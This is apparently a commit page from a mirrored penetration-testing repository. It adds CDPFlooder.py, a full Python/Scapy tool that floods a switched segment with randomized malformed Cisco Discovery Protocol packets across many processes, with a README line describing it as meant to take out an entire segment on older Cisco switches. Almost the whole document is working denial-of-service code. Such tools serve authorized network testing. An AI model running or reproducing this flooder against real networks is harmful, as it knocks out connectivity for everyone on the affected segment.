mirror of
				https://github.com/mgeeky/Penetration-Testing-Tools.git
				synced 2025-11-04 04:55:26 +01:00 
			
		
		
		
	Added CDPFlooder.py
This commit is contained in:
		
							
								
								
									
										276
									
								
								networks/CDPFlooder.py
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										276
									
								
								networks/CDPFlooder.py
									
									
									
									
									
										Executable file
									
								
							@@ -0,0 +1,276 @@
 | 
			
		||||
#!/usr/bin/python
 | 
			
		||||
 | 
			
		||||
#
 | 
			
		||||
# Effective CDP Flooder reaching about 1.7-2.1MiB/s (6-7,5K pps) triggering Denial of Service
 | 
			
		||||
# on older network switches and routers like Cisco Switch C2960.
 | 
			
		||||
# (p.s. Yersinia reaches up to even 10-12MiB/s - 65K pps!)
 | 
			
		||||
#
 | 
			
		||||
# Python requirements:
 | 
			
		||||
#   - scapy
 | 
			
		||||
#
 | 
			
		||||
# Mariusz B. / mgeeky, '18, <mb@binary-offensive.com>
 | 
			
		||||
#
 | 
			
		||||
 | 
			
		||||
import sys
 | 
			
		||||
import struct
 | 
			
		||||
import string
 | 
			
		||||
import random
 | 
			
		||||
import argparse
 | 
			
		||||
import multiprocessing
 | 
			
		||||
 | 
			
		||||
try:
 | 
			
		||||
    from scapy.all import *
 | 
			
		||||
except ImportError:
 | 
			
		||||
    print('[!] Scapy required: pip install scapy')
 | 
			
		||||
    sys.exit(1)
 | 
			
		||||
 
 | 
			
		||||
VERSION = '0.1'
 | 
			
		||||
 | 
			
		||||
config = {
 | 
			
		||||
    'verbose' : False,
 | 
			
		||||
    'interface' : None,
 | 
			
		||||
    'packets' : -1,
 | 
			
		||||
    'processors' : 8,
 | 
			
		||||
    'source' : '',
 | 
			
		||||
 | 
			
		||||
    # CDP Fields
 | 
			
		||||
    'cdp-platform' : 'Cisco 1841',
 | 
			
		||||
 | 
			
		||||
    # Software version - at most 199 chars.
 | 
			
		||||
    'cdp-software-version' : '''Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.3(11)T2, RELEASE SOFTWARE (fc1)
 | 
			
		||||
Copyright (c) 1986-2004 by Cisco Systems, Inc.
 | 
			
		||||
Compiled Thu 28-Oct-04 21:09 by cmong''',
 | 
			
		||||
    
 | 
			
		||||
    # Interface taking up
 | 
			
		||||
    'cdp-interface' : 'FastEthernet0/1',
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
stopThreads = False
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
#
 | 
			
		||||
# ===============================================
 | 
			
		||||
#
 | 
			
		||||
 | 
			
		||||
class Logger:
 | 
			
		||||
    @staticmethod
 | 
			
		||||
    def _out(x): 
 | 
			
		||||
        if config['verbose']: 
 | 
			
		||||
            sys.stdout.write(x + '\n')
 | 
			
		||||
 | 
			
		||||
    @staticmethod
 | 
			
		||||
    def out(x): 
 | 
			
		||||
        Logger._out('[.] ' + x)
 | 
			
		||||
    
 | 
			
		||||
    @staticmethod
 | 
			
		||||
    def info(x):
 | 
			
		||||
        Logger._out('[?] ' + x)
 | 
			
		||||
    
 | 
			
		||||
    @staticmethod
 | 
			
		||||
    def err(x): 
 | 
			
		||||
        sys.stdout.write('[!] ' + x + '\n')
 | 
			
		||||
    
 | 
			
		||||
    @staticmethod
 | 
			
		||||
    def fail(x):
 | 
			
		||||
        Logger._out('[-] ' + x)
 | 
			
		||||
    
 | 
			
		||||
    @staticmethod
 | 
			
		||||
    def ok(x):  
 | 
			
		||||
        Logger._out('[+] ' + x)
 | 
			
		||||
 | 
			
		||||
def cdpDeviceIDgen(size=2, chars=string.ascii_uppercase  +  string.digits  +  string.ascii_lowercase):
 | 
			
		||||
    return ''.join(random.choice(chars) for x in range(size))
 | 
			
		||||
 
 | 
			
		||||
 | 
			
		||||
def generatePacket():
 | 
			
		||||
    #
 | 
			
		||||
    # Parts of this function were taken from source code of 'cdp_flooder.py' by Chris McNab
 | 
			
		||||
    #   Network Security Assessment: Know Your Network
 | 
			
		||||
    #
 | 
			
		||||
 | 
			
		||||
    softVer = config['cdp-software-version'][:199]
 | 
			
		||||
    platform = config['cdp-platform'][:-4]
 | 
			
		||||
    iface = config['cdp-interface']
 | 
			
		||||
    deviceID = cdpDeviceIDgen(8)
 | 
			
		||||
    srcIP = Net(config['source']).choice()
 | 
			
		||||
    caps = random.randint(1, 65)
 | 
			
		||||
 | 
			
		||||
    etherframe      = Ether()                       #Start definition of Ethernet Frame
 | 
			
		||||
    etherframe.dst  = '01:00:0c:cc:cc:cc'           #Set Ethernet Frame destination MAC to Ciscos Broadcast MAC
 | 
			
		||||
    etherframe.src  = RandMAC()                     #Set Random source MAC address
 | 
			
		||||
    etherframe.type = 0x011e                        #CDP uses Type field for length information
 | 
			
		||||
   
 | 
			
		||||
    llcFrame      = LLC()                           #Start definition of Link Layer Control Frame
 | 
			
		||||
    llcFrame.dsap = 170                             #DSAP: SNAP (0xaa) IG Bit: Individual
 | 
			
		||||
    llcFrame.ssap = 170                             #SSAP: SNAP (0xaa) CR Bit: Command
 | 
			
		||||
    llcFrame.ctrl = 3                               #Control field Frame Type: Unumbered frame (0x03)
 | 
			
		||||
   
 | 
			
		||||
    snapFrame      = SNAP()                         #Start definition of SNAP Frame (belongs to LLC Frame)
 | 
			
		||||
    snapFrame.OUI  = 12                             #Organization Code: Cisco hex(0x00000c) = int(12)
 | 
			
		||||
    snapFrame.code = 8192                           #PID (EtherType): CDP hex(0x2000) = int(8192)
 | 
			
		||||
   
 | 
			
		||||
    cdpHeader      = CDPv2_HDR()                    #Start definition of CDPv2 Header
 | 
			
		||||
    cdpHeader.vers = 1                              #CDP Version: 1 - its always 1
 | 
			
		||||
    cdpHeader.ttl  = 255                            #TTL: 255 seconds
 | 
			
		||||
   
 | 
			
		||||
    cdpDeviceID      = CDPMsgDeviceID()             #Start definition of CDP Message Device ID
 | 
			
		||||
    cdpDeviceID.type = 1                            #Type: Device ID hex(0x0001) = int(1)
 | 
			
		||||
    cdpDeviceID.len  = 4 + len(deviceID)            #Length: 6 (Type(2) -> 0x00 0x01)  +  (Length(2) -> 0x00 0x0c)  +  (DeviceID(deviceIdLen))                            
 | 
			
		||||
    cdpDeviceID.val  = deviceID                     #Generate random Device ID (2 chars uppercase  +  int = lowercase)
 | 
			
		||||
   
 | 
			
		||||
    cdpAddrv4         = CDPAddrRecordIPv4()         #Start Address Record information for IPv4 belongs to CDP Message Address
 | 
			
		||||
    cdpAddrv4.ptype   = 1                           #Address protocol type: NLPID
 | 
			
		||||
    cdpAddrv4.plen    = 1                           #Protocol Length: 1
 | 
			
		||||
    cdpAddrv4.proto   = '\xcc'                      #Protocol: IP
 | 
			
		||||
    cdpAddrv4.addrlen = 4                           #Address length: 4 (e.g. int(192.168.1.1) = hex(0xc0 0xa8 0x01 0x01)
 | 
			
		||||
    cdpAddrv4.addr    = str(srcIP)                  #Generate random source IP address
 | 
			
		||||
   
 | 
			
		||||
    cdpAddr       = CDPMsgAddr()                    #Start definition of CDP Message Address
 | 
			
		||||
    cdpAddr.type  = 2                               #Type: Address (0x0002)                  
 | 
			
		||||
    cdpAddr.len   = 17                              #Length: hex(0x0011) = int(17)
 | 
			
		||||
    cdpAddr.naddr = 1                               #Number of addresses: hex(0x00000001) = int(1)
 | 
			
		||||
    cdpAddr.addr  = [cdpAddrv4]                     #Pass CDP Address IPv4 information
 | 
			
		||||
   
 | 
			
		||||
    cdpPortID       = CDPMsgPortID()                #Start definition of CDP Message Port ID
 | 
			
		||||
    cdpPortID.type  = 3                             #type: Port ID (0x0003)
 | 
			
		||||
    cdpPortID.len   = 4 + len(iface)                #Length: 13
 | 
			
		||||
    cdpPortID.iface = iface                         #Interface string
 | 
			
		||||
   
 | 
			
		||||
    cdpCapabilities        = CDPMsgCapabilities()   #Start definition of CDP Message Capabilities
 | 
			
		||||
    cdpCapabilities.type   = 4                      #Type: Capabilities (0x0004)
 | 
			
		||||
    cdpCapabilities.len    = 8                      #Length: 8
 | 
			
		||||
    cdpCapabilities.cap    = caps                   #Capability: Router (0x01), TB Bridge (0x02), SR Bridge (0x04), Switch that provides both Layer 2 and/or Layer 3 switching (0x08), Host (0x10), IGMP conditional filtering (0x20) and Repeater (0x40)
 | 
			
		||||
   
 | 
			
		||||
    cdpSoftVer      = CDPMsgSoftwareVersion()       #Start definition of CDP Message Software Version
 | 
			
		||||
    cdpSoftVer.type = 5                             #Type: Software Version (0x0005)
 | 
			
		||||
    cdpSoftVer.len  = 4 + len(softVer)              #Length
 | 
			
		||||
    cdpSoftVer.val  = softVer
 | 
			
		||||
   
 | 
			
		||||
    cdpPlatform      = CDPMsgPlatform()             #Statr definition of CDP Message Platform
 | 
			
		||||
    cdpPlatform.type = 6                            #Type: Platform (0x0006)
 | 
			
		||||
    cdpPlatform.len  = 4 + len(platform)            #Length
 | 
			
		||||
    cdpPlatform.val  = platform                     #Platform
 | 
			
		||||
        
 | 
			
		||||
    restOfCdp = cdpDeviceID / cdpAddr / cdpPortID / cdpCapabilities / cdpSoftVer / cdpPlatform
 | 
			
		||||
    
 | 
			
		||||
    cdpGeneric = CDPMsgGeneric()
 | 
			
		||||
    cdpGeneric.type = 0
 | 
			
		||||
    cdpGeneric.len = 0
 | 
			
		||||
    cdpGeneric.val = str(restOfCdp)
 | 
			
		||||
 | 
			
		||||
    cdpGeneric2 = CDPMsgGeneric()
 | 
			
		||||
    cdpGeneric2.type = struct.unpack('<H', platform[-4:-2])[0]
 | 
			
		||||
    cdpGeneric2.len = struct.unpack('<H', platform[-2:])[0]
 | 
			
		||||
 | 
			
		||||
    cdppacket = etherframe / llcFrame / snapFrame / cdpHeader / cdpGeneric / cdpGeneric2
 | 
			
		||||
    return cdppacket
 | 
			
		||||
 | 
			
		||||
def flooder(num, packets):
 | 
			
		||||
    Logger.info('Starting task: {}, packets num: {}'.format(num, len(packets)))
 | 
			
		||||
    packetsGen = []
 | 
			
		||||
    sock = conf.L2socket(iface = config['interface'])
 | 
			
		||||
    sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 | 
			
		||||
    sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 512)
 | 
			
		||||
 | 
			
		||||
    for i in range(512):
 | 
			
		||||
        packetsGen.append(generatePacket())
 | 
			
		||||
 | 
			
		||||
    if len(packets) == 0:
 | 
			
		||||
        while stopThreads != True:
 | 
			
		||||
            try:
 | 
			
		||||
                for p in packetsGen:
 | 
			
		||||
                    if stopThreads: raise KeyboardInterrupt
 | 
			
		||||
                    sock.ins.send(str(p))
 | 
			
		||||
            except KeyboardInterrupt:
 | 
			
		||||
                break
 | 
			
		||||
    else:
 | 
			
		||||
        for p in packets:
 | 
			
		||||
            if stopThreads: break
 | 
			
		||||
            try:
 | 
			
		||||
                for pg in packetsGen:
 | 
			
		||||
                    if stopThreads: raise KeyboardInterrupt
 | 
			
		||||
                    sock.ins.send(str(pg))
 | 
			
		||||
            except KeyboardInterrupt:
 | 
			
		||||
                break
 | 
			
		||||
 | 
			
		||||
    Logger.info('Stopping task: {}'.format(num))
 | 
			
		||||
    sock.close()
 | 
			
		||||
 
 | 
			
		||||
def parseOptions(argv):
 | 
			
		||||
    global config
 | 
			
		||||
 | 
			
		||||
    print('''
 | 
			
		||||
        :: CDP Flooding / Denial of Service tool
 | 
			
		||||
        Floods the interface with fake, randomly generated CDP packets.
 | 
			
		||||
        Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
 | 
			
		||||
        v{}
 | 
			
		||||
'''.format(VERSION))
 | 
			
		||||
 | 
			
		||||
    parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
 | 
			
		||||
    parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
 | 
			
		||||
    parser.add_argument('-n', '--packets', dest='packets', metavar='NUM', default=-1, type=int, help='Number of packets to send. Default: infinite.')
 | 
			
		||||
    parser.add_argument('-s', '--source', metavar='SRC', default='0.0.0.0/0', help='Specify source IP address/subnet. By default: random IP from 0.0.0.0/0')
 | 
			
		||||
    parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
 | 
			
		||||
 | 
			
		||||
    cdp = parser.add_argument_group('CDP Fields', 'Specifies contents of interesting CDP fields in packets to send')
 | 
			
		||||
    cdp.add_argument('--software', help = 'Software version')
 | 
			
		||||
    cdp.add_argument('--platform', help = 'Device Platform')
 | 
			
		||||
    cdp.add_argument('--cdpinterface', help = 'Device Interface')
 | 
			
		||||
 | 
			
		||||
    args = parser.parse_args()
 | 
			
		||||
 | 
			
		||||
    config['verbose'] = args.verbose
 | 
			
		||||
    config['interface'] = args.interface
 | 
			
		||||
    config['packets'] = args.packets
 | 
			
		||||
    config['source'] = args.source
 | 
			
		||||
    config['processors'] = multiprocessing.cpu_count()
 | 
			
		||||
 | 
			
		||||
    if args.cdpinterface: config['cdp-interface'] = args.cdpinterface
 | 
			
		||||
    if args.platform: config['cdp-platform'] = args.platform
 | 
			
		||||
    if args.software: config['cdp-sofware-version'] = args.software
 | 
			
		||||
 | 
			
		||||
    Logger.info('Will use {} processors.'.format(config['processors']))
 | 
			
		||||
 | 
			
		||||
    return args
 | 
			
		||||
 | 
			
		||||
def main(argv):
 | 
			
		||||
    global stopThreads
 | 
			
		||||
 | 
			
		||||
    opts = parseOptions(argv)
 | 
			
		||||
    if not opts:
 | 
			
		||||
        Logger.err('Options parsing failed.')
 | 
			
		||||
        return False
 | 
			
		||||
 | 
			
		||||
    if os.getuid() != 0:
 | 
			
		||||
        Logger.err('This program must be run as root.')
 | 
			
		||||
        return False
 | 
			
		||||
 | 
			
		||||
    load_contrib('cdp')
 | 
			
		||||
 | 
			
		||||
    packetsLists = [[] for x in range(config['processors'])]
 | 
			
		||||
 | 
			
		||||
    if config['packets'] > 0:
 | 
			
		||||
        for i in range(config['packets']):
 | 
			
		||||
            packetsLists[i % config['processors']].append(i)
 | 
			
		||||
 | 
			
		||||
    jobs = []
 | 
			
		||||
 | 
			
		||||
    for i in range(config['processors']):
 | 
			
		||||
        task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i]))
 | 
			
		||||
        jobs.append(task)
 | 
			
		||||
        task.daemon = True
 | 
			
		||||
        task.start()
 | 
			
		||||
 | 
			
		||||
    print('[+] Started flooding. Press CTRL-C to stop that.')
 | 
			
		||||
    try:
 | 
			
		||||
        while jobs:
 | 
			
		||||
            jobs = [job for job in jobs if job.is_alive()]
 | 
			
		||||
    except KeyboardInterrupt:
 | 
			
		||||
        stopThreads = True
 | 
			
		||||
        print('\n[>] Stopping...')
 | 
			
		||||
 | 
			
		||||
    stopThreads = True
 | 
			
		||||
    time.sleep(3)
 | 
			
		||||
 | 
			
		||||
if __name__ == '__main__':
 | 
			
		||||
    main(sys.argv)
 | 
			
		||||
@@ -1,5 +1,6 @@
 | 
			
		||||
## Networks Penetration Testing related scripts, tools and Cheatsheets
 | 
			
		||||
 | 
			
		||||
- **`CDPFlooder.py`** - CDP Flooding tool, intended to take out entire segment switched by some old Cisco switches, vulnerable to Denial of Service after receiving big amount of invalid CDP packets.
 | 
			
		||||
 | 
			
		||||
- **`dtpscan.py`** - DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. ([gist](https://gist.github.com/mgeeky/3f678d385984ba0377299a844fb793fa))
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user